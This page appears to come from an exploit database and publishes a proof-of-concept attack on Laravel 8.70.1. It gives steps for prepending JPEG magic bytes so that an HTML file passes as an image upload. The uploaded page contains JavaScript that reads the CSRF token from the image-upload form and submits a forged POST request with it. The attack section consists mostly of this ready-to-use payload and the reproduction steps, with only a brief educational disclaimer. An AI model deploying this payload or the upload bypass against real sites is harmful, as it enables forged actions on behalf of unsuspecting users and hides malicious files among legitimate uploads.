Php laravel 8.70.1 cross site scripting (xss) to cross site request forgery (csrf) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-11-15 | Type : webapps | Platform : php
This exploit / vulnerability Php laravel 8.70.1 cross site scripting (xss) to cross site request forgery (csrf) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
//
xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
// true on the end of here makes the call asynchronous
//Edit the path as you want
xhr.open("GET", "/image-upload", true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementsByTagName("input")[0];
// Show the token
alert("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

3- Save it as Html file and upload it.